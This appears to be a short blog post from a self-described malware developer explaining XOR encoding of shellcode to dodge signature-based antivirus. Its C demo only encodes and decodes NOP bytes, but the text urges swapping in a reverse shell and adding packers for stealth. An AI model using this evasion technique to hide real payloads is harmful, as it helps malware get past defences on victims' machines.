XOR Obfuscation: Hiding Shellcode from Basic AV

Malforge Group
3 min readMar 6, 2025

--

“XOR Obfuscation: Concealing Shellcode from Antivirus Detection”

Hello Everyone,

Welcome to Malforge Group’s first deep dive into offensive security! Today, we’re breaking down a classic yet effective technique: XOR obfuscation. If you’ve ever wanted to slip your shellcode past basic antivirus (AV) scanners, this is your starting point. We’ll walk through a fully functional C code demo, explain how it works, and show you why it’s a red teamer’s best friend. Let’s hack into it!

Why XOR Obfuscation?

Antivirus software often relies on signature-based detection — scanning for known patterns in malicious code. Shellcode, like a reverse shell payload, can trigger these signatures. XOR obfuscation scrambles your shellcode by applying a simple bitwise operation with a key, making it unrecognizable to basic AV while still functional when decoded. It’s lightweight, beginner-friendly, and a solid step into malware development.

The Code: Fully Functional Demo

Here’s the complete, working code we’ll use. This takes a dummy shellcode (NOPs for safety), XORs it to hide it, and then decodes it back — ready for real-world tweaking.

#include <stdio.h>
#include <string.h>

int main() {
// Dummy shellcode (NOPs - replace with your payload)
unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90";
char key = 0x55; // XOR key (change this for your use)
int len = strlen((char*)shellcode);

// Print original shellcode
printf("Original Shellcode: ");
for(int i = 0; i < len; i++) {
printf("\\x%02x", shellcode[i]);
}
printf("\n");

// Obfuscate with XOR
for(int i = 0; i < len; i++) {
shellcode[i] ^= key;
}

// Print obfuscated shellcode
printf("Obfuscated Shellcode: ");
for(int i = 0; i < len; i++) {
printf("\\x%02x", shellcode[i]);
}
printf("\n");

// Decode it back (same XOR operation)
for(int i = 0; i < len; i++) {
shellcode[i] ^= key;
}

// Print decoded shellcode
printf("Decoded Shellcode: ");
for(int i = 0; i < len; i++) {
printf("\\x%02x", shellcode[i]);
}
printf("\n");

return 0;
}

How It Works

  1. Shellcode Setup: We use \x90 (NOPs) as a placeholder. In a real scenario, replace this with your payload (e.g., a reverse shell).
  2. XOR Obfuscation: Each byte of the shellcode is XORed with a key (0x55). XOR flips bits — e.g., \x90 ^ 0x55 = \xc5 — scrambling the pattern.
  3. Reversibility: XOR is its own inverse. Apply the same key again, and you’re back to the original — e.g., \xc5 ^ 0x55 = \x90.
  4. Output: The code prints the original, obfuscated, and decoded versions to prove it works.

Output

Why It Beats Basic AV

Basic AV scans for static signatures (e.g., \x90\x90 sequences). After XOR, it’s \xc5\xc5 — a different beast. Unless the AV knows your key (0x55) and actively decodes it (rare for lightweight scanners), you’re under the radar. Advanced AV might catch runtime behavior, but that’s a story for another post!

Taking It Further

  • Randomize the Key: Hardcode 0x55 for now, but in production, generate it dynamically.
  • Real Payload: Swap NOPs for a reverse shell (e.g., from msfvenom). Test in a VM — don’t brick your box!
  • Layer It: XOR is step one. Add encryption or packers for extra stealth.

Get Involved

Try this code yourself — compile it, tweak the key, or throw in your own shellcode.

Malforge Group

Sign up to discover human stories that deepen your understanding of the world.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Malforge Group
Malforge Group

Written by Malforge Group

I'm a 21-year-old malware developer with 1 year of experience. Passionate about learning new techniques, sharing knowledge, and creating malware tools.

No responses yet

Write a response